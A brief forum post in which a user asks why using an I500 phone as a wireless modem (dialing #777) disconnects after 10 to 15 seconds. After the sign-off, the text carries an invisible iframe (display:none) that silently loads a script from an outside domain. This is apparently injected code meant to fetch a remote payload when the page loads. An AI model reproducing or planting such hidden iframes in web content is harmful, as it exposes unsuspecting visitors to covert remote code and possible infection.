Hey all. First time caller, long time listener. I have an issue with using my I500 as a wireless modem. I know how to set up the connection (using #777 as number, no username or password). And, I AM able to connect to the internet, but only for about 10-15 seconds. Then I get disconnected. Is there something I'm missing? Any help would be appreciated. Thanks in advance...<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
